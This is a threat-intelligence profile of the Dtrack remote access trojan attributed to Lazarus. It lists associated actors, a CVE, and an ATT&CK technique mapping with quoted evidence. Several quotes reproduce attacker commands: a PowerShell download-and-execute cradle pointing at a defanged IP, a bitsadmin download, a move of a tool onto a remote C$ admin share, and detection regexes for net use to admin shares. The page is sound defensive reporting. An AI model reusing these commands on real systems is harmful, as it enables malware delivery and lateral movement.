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Mallory
Malware5 associated actors1 associated CVE

Dtrack

Tracked since Nov 25, 2025 · Updated 21 days ago
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 days1 mention · peak 1 in a dayToday
Vulns1Associated
Actors5Associated
ATT&CK47Techniques
IOCs43Tracked
Type
RAT
Capabilities
ExfiltrationPersistencePost exploitationDefense evasionReconnaissanceProcess injection
Platforms
Windows

Dtrack is a Windows remote access trojan and espionage tool associated with the North Korean Lazarus Group. It has targeted financial institutions and research centers and was identified at India's Kudankulam Nuclear Power Plant. Dtrack is distinct from ATMDtrack, an ATM-focused malware family.

Dtrack supports file upload and download, process execution, disk-volume data collection, and host reconnaissance. Observed variants enumerate running processes, network configuration, active connections, and files across local, removable, and network drives. A variant identified at Kudankulam collected Chrome and Firefox browsing history, checked connectivity to selected internal systems, packaged collected information into password-protected archives, and transferred those archives to an internal network share using hard-coded credentials.

Dtrack droppers conceal encrypted payloads within executables and use runtime decryption, in-memory loading, and process hollowing to execute the RAT inside legitimate Windows processes. Some samples masquerade as legitimate applications or security software, while others load the payload into their own process memory. Dtrack can establish persistence through Windows services and supports removing its persistence and deleting itself. The Kudankulam variant illustrates its use for reconnaissance and information theft within an already-compromised environment.

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Associated CVEs

Associated vulnerabilities

1 CVE Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.

CVE-2017-10271via securelistExploited in the wildUnauthenticated Remote Code Execution in Oracle WebLogic WLS-WSATapproximately ten hours prior to deploying Maui... the group deployed a variant of the well-known DTrack malware... Once this malware is spawned, it executes an embedded shellcode, loading a final Windows in-memory payload... responsible for collecting victim information and sending it to the remote host.View vulnerability →Source ↗
Threat actors

Associated threat actors

5 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details →
Lazarus

(Citation: Kaspersky Dtrack)

via mitre attack structuredgithub.com
Andariel

While Kaspersky discovered the use of Dtrack and Maui, we've observed the use of VSingle, YamaBot and MagicRAT.

via talosintelligence otherblog.talosintelligence.com
Wassonite

On April 17, 2020, Dragos identified a variant of DTrack malware with technical overlaps to previously observed samples associated with WASSONITE.

via dragos bloghub.dragos.com
APT38

DTrack is a malware attributed to Lazarus / APT38. Recent DTrack samples found on critical infrastructures like nuclear power plants...

via lexfo blogblog.lexfo.fr
NICKEL HYATT

"DTrack (also known as VinoSiren and Preft). DTrack was used in 2019 to target a nuclear power facility in India..."

via secureworks threat profilessecureworks.com
MITRE ATT&CK

Techniques & procedures

47 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

2 techniques
T1078Valid AccountsEvidence8

[Dtrack](https://attack.mitre.org/software/S0567) used hard-coded credentials to gain access to a network share.(Citation: CyberBit Dtrack)

T1190Exploit Public-Facing ApplicationEvidence1

"The other victim operated a vulnerable Weblogic server... compromised this server via the CVE-2017-10271 exploit." | "In one victim system, we discovered that a well-known simple HTTP server, HFS7, had deployed the malware above. After an unknown exploit was used on a vulnerable HFS server and “whoami” was executed..."

Execution

8 techniques
T1053Scheduled Task/JobEvidence1

“Registry keys, scheduled tasks… keep the beachheads…”

T1059Command and Scripting InterpreterEvidence1

WASSONITE targets manufacturing, electric generation, nuclear energy, and research entities in India, and likely South Korea and Japan. The group’s operations rely on DTrack malware, credential capture tools, and system tools for lateral movement.

T1059.001PowerShellEvidence1

"powershell.exe IEX (New-Object Net.WebClient).DownloadString('hxxp://145.232.235[.]222/usr/users/mini.ps1')"

T1059.003Windows Command ShellEvidence7

[Dtrack](https://attack.mitre.org/software/S0567) has used <code>cmd.exe</code> to add a persistent service.(Citation: CyberBit Dtrack)

T1129Shared ModulesEvidence4

[Dtrack](https://attack.mitre.org/software/S0567) contains a function that calls <code>LoadLibrary</code> and <code>GetProcAddress</code>.(Citation: CyberBit Dtrack)

T1197BITS JobsEvidence1

"...downloading and executing the above DTrack malware via bitsadmin.exe: bitsadmin.exe /transfer myJob /download ..."

T1569.002Service ExecutionEvidence1

Dtrack has used cmd.exe to add a persistent service.

T1574Hijack Execution FlowEvidence5

One of [Dtrack](https://attack.mitre.org/software/S0567) can replace the normal flow of a program execution with malicious code.(Citation: CyberBit Dtrack)

Persistence

7 techniques
T1053Scheduled Task/JobEvidence1

“Registry keys, scheduled tasks… keep the beachheads…”

T1078Valid AccountsEvidence8

[Dtrack](https://attack.mitre.org/software/S0567) used hard-coded credentials to gain access to a network share.(Citation: CyberBit Dtrack)

T1197BITS JobsEvidence1

"...downloading and executing the above DTrack malware via bitsadmin.exe: bitsadmin.exe /transfer myJob /download ..."

T1543Create or Modify System ProcessEvidence1

“…and hijacking services keep the beachheads…”

T1543.003Windows ServiceEvidence6

[Dtrack](https://attack.mitre.org/software/S0567) can add a service called WBService to establish persistence.(Citation: CyberBit Dtrack)

T1547Boot or Logon Autostart ExecutionEvidence3

[Dtrack](https://attack.mitre.org/software/S0567)’s RAT makes a persistent target file with auto execution on the host start.(Citation: Securelist Dtrack)

T1547.001Registry Run Keys / Startup FolderEvidence1

“Registry keys… keep the beachheads for future callback usage…”

Privilege Escalation

8 techniques
T1053Scheduled Task/JobEvidence1

“Registry keys, scheduled tasks… keep the beachheads…”

T1055Process InjectionEvidence1

The dropper creates a suspended Microsoft process from a predefined list, in this case napstat.exe... It injects code into it by allocating memory, writing into it, modifying the thread context structure and then resuming the thread execution.

T1055.012Process HollowingEvidence8

[Dtrack](https://attack.mitre.org/software/S0567) has used process hollowing shellcode to target a predefined list of processes from <code>%SYSTEM32%</code>.(Citation: Securelist Dtrack)

T1078Valid AccountsEvidence8

[Dtrack](https://attack.mitre.org/software/S0567) used hard-coded credentials to gain access to a network share.(Citation: CyberBit Dtrack)

T1543Create or Modify System ProcessEvidence1

“…and hijacking services keep the beachheads…”

T1543.003Windows ServiceEvidence6

[Dtrack](https://attack.mitre.org/software/S0567) can add a service called WBService to establish persistence.(Citation: CyberBit Dtrack)

T1547Boot or Logon Autostart ExecutionEvidence3

[Dtrack](https://attack.mitre.org/software/S0567)’s RAT makes a persistent target file with auto execution on the host start.(Citation: Securelist Dtrack)

T1547.001Registry Run Keys / Startup FolderEvidence1

“Registry keys… keep the beachheads for future callback usage…”

Stealth

13 techniques
T1027Obfuscated Files or InformationEvidence1

The second stage payload consists of heavily obfuscated shellcode... The encryption method used by the second layer differs for each sample. So far, we have spotted modified versions of RC4, RC5 and RC6 algorithms.

T1027.009Embedded PayloadsEvidence3

[Dtrack](https://attack.mitre.org/software/S0567) has used a dropper that embeds an encrypted payload as extra data.(Citation: Securelist Dtrack)

T1036MasqueradingEvidence6

actors used the following command to rename one of their tools to a benign file name: ren "%temp%\upload" audiodg.exe ... APT1 ... used ... AcroRD32.exe ... as a name for malware ... APT28 ... changed extensions on files containing exfiltrated data to make them appear benign ... APT32 has renamed a NetCat binary to kb-10233.exe to masquerade as a Windows update.

T1036.005Match Legitimate Resource Name or LocationEvidence3

One of [Dtrack](https://attack.mitre.org/software/S0567) can hide in replicas of legitimate programs like OllyDbg, 7-Zip, and FileZilla.(Citation: CyberBit Dtrack)

T1055Process InjectionEvidence1

The dropper creates a suspended Microsoft process from a predefined list, in this case napstat.exe... It injects code into it by allocating memory, writing into it, modifying the thread context structure and then resuming the thread execution.

T1055.012Process HollowingEvidence8

[Dtrack](https://attack.mitre.org/software/S0567) has used process hollowing shellcode to target a predefined list of processes from <code>%SYSTEM32%</code>.(Citation: Securelist Dtrack)

T1070Indicator RemovalEvidence2

Examples throughout the content include deleting tools, logs, malware-related files, staged archives, screenshots, temporary files, and exfiltrated data 'to cover their tracks,' 'reduce their footprint,' 'remove traces of activity,' or as part of 'post-intrusion cleanup.'

T1070.004File DeletionEvidence8

[Dtrack](https://attack.mitre.org/software/S0567) can remove its persistence and delete itself.(Citation: Securelist Dtrack)

T1078Valid AccountsEvidence8

[Dtrack](https://attack.mitre.org/software/S0567) used hard-coded credentials to gain access to a network share.(Citation: CyberBit Dtrack)

T1140Deobfuscate/Decode Files or InformationEvidence9

[Dtrack](https://attack.mitre.org/software/S0567) has used a decryption routine that is part of an executable physical patch.(Citation: Securelist Dtrack)

T1197BITS JobsEvidence1

"...downloading and executing the above DTrack malware via bitsadmin.exe: bitsadmin.exe /transfer myJob /download ..."

T1574Hijack Execution FlowEvidence5

One of [Dtrack](https://attack.mitre.org/software/S0567) can replace the normal flow of a program execution with malicious code.(Citation: CyberBit Dtrack)

T1620Reflective Code LoadingEvidence1

The reflective loading behaviour alerts us that a malicious PE module was loaded reflectively into napstat.exe. It is a file-less technique to load a PE into a process without placing a file on the disk

Credential Access

2 techniques
T1040Network SniffingEvidence1

ATMDtruck also appeared in the fall of 2018... It collects enough information from the credit cards inputted into the infected ATM that it can actually clone them.

T1056.001KeyloggingEvidence4

[Dtrack](https://attack.mitre.org/software/S0567)’s dropper contains a keylogging executable.(Citation: Securelist Dtrack)

Discovery

10 techniques
T1012Query RegistryEvidence7

[Dtrack](https://attack.mitre.org/software/S0567) can collect the RegisteredOwner, RegisteredOrganization, and InstallDate registry values.(Citation: CyberBit Dtrack)

T1016System Network Configuration DiscoveryEvidence10

[Dtrack](https://attack.mitre.org/software/S0567) can collect the host's IP addresses using the <code>ipconfig</code> command.(Citation: Securelist Dtrack)(Citation: CyberBit Dtrack)

T1033System Owner/User DiscoveryEvidence1

The information used for creating the identifier includes registry values (RegisteredOwner, RegisteredOrganization, InstallDate), computer name and adapter information (MAC addresses).

T1040Network SniffingEvidence1

ATMDtruck also appeared in the fall of 2018... It collects enough information from the credit cards inputted into the infected ATM that it can actually clone them.

T1049System Network Connections DiscoveryEvidence5

[Dtrack](https://attack.mitre.org/software/S0567) can collect network and active connection information.(Citation: Securelist Dtrack)

T1057Process DiscoveryEvidence9

[Dtrack](https://attack.mitre.org/software/S0567)’s dropper can list all running processes.(Citation: Securelist Dtrack)(Citation: CyberBit Dtrack)

T1082System Information DiscoveryEvidence10

[Dtrack](https://attack.mitre.org/software/S0567) can collect the victim's computer name, hostname and adapter information to create a unique identifier.(Citation: Securelist Dtrack)(Citation: CyberBit Dtrack)

T1083File and Directory DiscoveryEvidence8

[Dtrack](https://attack.mitre.org/software/S0567) can list files on available disk volumes.(Citation: Securelist Dtrack)(Citation: CyberBit Dtrack)

T1135Network Share DiscoveryEvidence1

It is probably a second phase of an attack since the APT already had a foothold in the network, including a compromised file share and stolen credentials.

T1217Browser Information DiscoveryEvidence8

[Dtrack](https://attack.mitre.org/software/S0567) can retrieve browser history.(Citation: Securelist Dtrack)(Citation: CyberBit Dtrack)

Lateral Movement

2 techniques
T1021.002SMB/Windows Admin SharesEvidence5

$ str_reg_move = / move \/ y %s \\ [ 0 - 9 ] { 1,3 } \. [ 0 - 9 ] { 1,3 } \. [ 0 - 9 ] { 1,3 } \. [ 0 - 9 ] { 1,3 } \\ C \$\\ Windows \\ Temp \\ MpLogs \\ / | $ str_reg_use = / net use \\ [ 0 - 9 ] { 1,3 } \. [ 0 - 9 ] { 1,3 } \. [ 0 - 9 ] { 1,3 } \. [ 0 - 9 ] { 1,3 } \\ C \$ \/ delete /

T1570Lateral Tool TransferEvidence3

“C:\Windows\system32\cmd.exe” /c move /y C:\Users\ADMINI~1\AppData\Local\Temp\\~A7BBB42AMT.tmp \\10.38.1.35\C$\Windows\Temp\MpLogs\

Collection

6 techniques
T1005Data from Local SystemEvidence6

[Dtrack](https://attack.mitre.org/software/S0567) can collect a variety of information from victim machines.(Citation: CyberBit Dtrack)

T1056.001KeyloggingEvidence4

[Dtrack](https://attack.mitre.org/software/S0567)’s dropper contains a keylogging executable.(Citation: Securelist Dtrack)

T1074Data StagedEvidence2

This file is then copied to a network share at \\10.38.1.35\C$\Windows\Temp\MpLogs\

T1074.001Local Data StagingEvidence3

[Dtrack](https://attack.mitre.org/software/S0567) can save collected data to disk, different file formats, and network shares.(Citation: Securelist Dtrack)(Citation: CyberBit Dtrack)

T1113Screen CaptureEvidence1

Among those downloaded and executed files already spotted in the standard DTrack toolset there is a keylogger, a screenshot maker

T1560Archive Collected DataEvidence6

[Dtrack](https://attack.mitre.org/software/S0567) packs collected data into a password protected archive.(Citation: Securelist Dtrack)

Command and Control

4 techniques
T1001Data ObfuscationEvidence1

"The data it collects is compressed and disguised as a GIF file."

T1071Application Layer ProtocolEvidence1

Another small change is that three C2 servers are used instead of six.

T1105Ingress Tool TransferEvidence6

[Dtrack](https://attack.mitre.org/software/S0567)’s can download and upload a file to the victim’s computer.(Citation: Securelist Dtrack)(Citation: CyberBit Dtrack)

T1219Remote Access ToolsEvidence2

As a RAT, Dtrack contains a variety of functions to execute on the victim’s machine: downloading and uploading files, dumping disk volume data, executing processes, etc.

Exfiltration

1 technique
T1567Exfiltration Over Web ServiceEvidence1

"...sends stolen information to a remote server over HTTP"

Indicators of compromise

Observables

43 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.

View all in app →
Indicator values are available in Mallory. Pivot on every hash, domain, URL, and IP, or pipe them straight into your SIEM.View all in Mallory
Mallory platform

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching43Match every observed IP, domain, and hash against your live telemetry.
Associated threat actors5Groups linked to this family, with evidence pinned to each claim.
Associated vulnerabilities1CVEs linked to this family, with the reporting behind each link.
Detection signaturesYARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
MITRE ATT&CK mapping47Every documented technique, ranked by evidence weight.
Researcher chatterReddit, Mastodon, and CTI community discussion around this family.